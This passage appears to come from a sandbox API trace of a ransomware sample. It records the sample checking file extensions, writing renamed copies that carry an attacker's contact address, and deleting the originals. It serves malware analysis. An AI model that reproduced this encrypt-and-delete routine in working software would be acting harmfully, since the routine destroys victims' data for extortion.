lstrlenW (lpString=".docx") returned 5 [0271.825] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0271.825] lstrlenW (lpString=".pdf") returned 4 [0271.825] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.825] lstrlenW (lpString=".xls") returned 4 [0271.825] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.825] lstrlenW (lpString=".xlsx") returned 5 [0271.825] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0271.825] lstrlenW (lpString=".ppt") returned 4 [0271.825] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.825] lstrlenW (lpString=".zip") returned 4 [0271.825] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.825] lstrlenW (lpString=".rar") returned 4 [0271.825] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.825] lstrlenW (lpString=".bz2") returned 4 [0271.825] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.825] lstrlenW (lpString=".7z") returned 3 [0271.825] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.825] lstrlenW (lpString=".dbf") returned 4 [0271.825] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.825] lstrlenW (lpString=".1cd") returned 4 [0271.826] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.826] lstrlenW (lpString=".jpg") returned 4 [0271.826] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.826] lstrlenW (lpString=".doc") returned 4 [0271.826] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.826] lstrlenW (lpString=".docx") returned 5 [0271.826] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0271.826] lstrlenW (lpString=".pdf") returned 4 [0271.826] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString=".xls") returned 4 [0271.826] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString=".xlsx") returned 5 [0271.826] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0271.826] lstrlenW (lpString=".ppt") returned 4 [0271.826] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.826] lstrlenW (lpString=".zip") returned 4 [0271.826] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString=".rar") returned 4 [0271.826] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.826] lstrlenW (lpString=".bz2") returned 4 [0271.826] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.827] lstrlenW (lpString=".7z") returned 3 [0271.827] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.827] lstrlenW (lpString=".dbf") returned 4 [0271.827] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.827] lstrlenW (lpString=".1cd") returned 4 [0271.827] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.827] lstrlenW (lpString=".jpg") returned 4 [0271.827] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.827] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.827] lstrlenW (lpString="J0101857.BMP") returned 12 [0271.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0271.829] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=32184) returned 1 [0271.829] CloseHandle (hObject=0x4ac) returned 1 [0271.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0271.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0271.830] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.830] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0271.832] GetLastError () returned 0x0 [0271.832] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0271.874] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0271.876] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.876] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.876] SetEndOfFile (hFile=0x550) returned 1 [0271.876] CloseHandle (hObject=0x550) returned 1 [0271.876] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.876] SetEndOfFile (hFile=0x4ac) returned 1 [0271.881] CloseHandle (hObject=0x4ac) returned 1 [0271.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0271.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.884] lstrlenW (lpString=".doc") returned 4 [0271.884] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".docx") returned 5 [0271.884] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0271.884] lstrlenW (lpString=".pdf") returned 4 [0271.884] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".xls") returned 4 [0271.884] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".xlsx") returned 5 [0271.884] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0271.884] lstrlenW (lpString=".ppt") returned 4 [0271.884] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.884] lstrlenW (lpString=".zip") returned 4 [0271.884] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".rar") returned 4 [0271.884] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".bz2") returned 4 [0271.884] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0271.884] lstrlenW (lpString=".7z") returned 3 [0271.884] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0271.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.884] lstrlenW (lpString=".dbf") returned 4 [0271.885] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.885] lstrlenW (lpString=".1cd") returned 4 [0271.885] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0271.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.885] lstrlenW (lpString=".jpg") returned 4 [0271.885] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.885] lstrlenW (lpString=".doc") returned 4 [0271.885] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString=".docx") returned 5 [0271.885] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0271.885] lstrlenW (lpString=".pdf") returned 4 [0271.885] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString=".xls") returned 4 [0271.885] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString=".xlsx") returned 5 [0271.885] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0271.885] lstrlenW (lpString=".ppt") returned 4 [0271.885] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0271.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.885] lstrlenW (lpString=".zip") returned 4 [0271.886] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0271.886] lstrlenW (lpString=".rar") returned 4 [0271.886] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0271.886] lstrlenW (lpString=".bz2") returned 4 [0271.886] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0271.886] lstrlenW (lpString=".7z") returned 3 [0271.886] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0271.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.886] lstrlenW (lpString=".dbf") returned 4 [0271.886] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0271.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.886] lstrlenW (lpString=".1cd") returned 4 [0271.886] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0271.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0271.886] lstrlenW (lpString=".jpg") returned 4 [0271.886] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0271.886] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0271.886] lstrlenW (lpString="J0101859.BMP") returned 12 [0271.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0271.888] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=31968) returned 1 [0271.888] CloseHandle (hObject=0x4ac) returned 1 [0271.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0271.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0271.889] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.889] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0271.891] GetLastError () returned 0x0 [0271.891] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0271.908] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0271.910] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.910] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.014] SetEndOfFile (hFile=0x550) returned 1 [0272.014] CloseHandle (hObject=0x550) returned 1 [0272.014] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.014] SetEndOfFile (hFile=0x4ac) returned 1 [0272.019] CloseHandle (hObject=0x4ac) returned 1 [0272.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0272.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.022] lstrlenW (lpString=".doc") returned 4 [0272.022] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString=".docx") returned 5 [0272.022] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0272.022] lstrlenW (lpString=".pdf") returned 4 [0272.022] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString=".xls") returned 4 [0272.022] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString=".xlsx") returned 5 [0272.022] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0272.022] lstrlenW (lpString=".ppt") returned 4 [0272.022] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.022] lstrlenW (lpString=".zip") returned 4 [0272.022] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString=".rar") returned 4 [0272.022] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.022] lstrlenW (lpString=".bz2") returned 4 [0272.022] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString=".7z") returned 3 [0272.023] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.023] lstrlenW (lpString=".dbf") returned 4 [0272.023] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.023] lstrlenW (lpString=".1cd") returned 4 [0272.023] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.023] lstrlenW (lpString=".jpg") returned 4 [0272.023] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.023] lstrlenW (lpString=".doc") returned 4 [0272.023] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString=".docx") returned 5 [0272.023] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0272.023] lstrlenW (lpString=".pdf") returned 4 [0272.023] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString=".xls") returned 4 [0272.023] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.023] lstrlenW (lpString=".xlsx") returned 5 [0272.023] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0272.024] lstrlenW (lpString=".ppt") returned 4 [0272.024] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.024] lstrlenW (lpString=".zip") returned 4 [0272.024] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0272.024] lstrlenW (lpString=".rar") returned 4 [0272.024] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0272.024] lstrlenW (lpString=".bz2") returned 4 [0272.024] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0272.024] lstrlenW (lpString=".7z") returned 3 [0272.024] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0272.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.024] lstrlenW (lpString=".dbf") returned 4 [0272.024] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0272.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.024] lstrlenW (lpString=".1cd") returned 4 [0272.024] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0272.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0272.024] lstrlenW (lpString=".jpg") returned 4 [0272.024] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0272.024] lstrcmpiW (lpString1=".BMP", lpString2=".love$") returned -1 [0272.024] lstrlenW (lpString="J0101862.BMP") returned 12 [0272.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.026] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=32184) returned 1 [0272.026] CloseHandle (hObject=0x4ac) returned 1 [0272.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0272.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0272.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0272.027] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.027] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0272.029] GetLastError () returned 0x0 [0272.029] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0272.088] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0272.090] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.090] WriteFile (in: hFile=0x550, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.090] SetEndOfFile (hFile=0x550) returned 1 [0272.091] CloseHandle (hObject=0x550) returned 1 [0272.091] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.091] SetEndOfFile (hFile=0x4ac) returned 1 [0272.113] CloseHandle (hObject=0x4ac) returned 1 [0272.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0272.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0272.436] lstrlenW (lpString=".doc") returned 4 [0272.436] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".docx") returned 5 [0272.436] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0272.436] lstrlenW (lpString=".pdf") returned 4 [0272.436] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".xls") returned 4 [0272.436] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString=".xlsx") returned 5 [0272.436] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0272.436] lstrlenW (lpString=".ppt") returned 4 [0272.436] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0272.436] lstrlenW (lpString="C:\\Program Files\\Microsoft 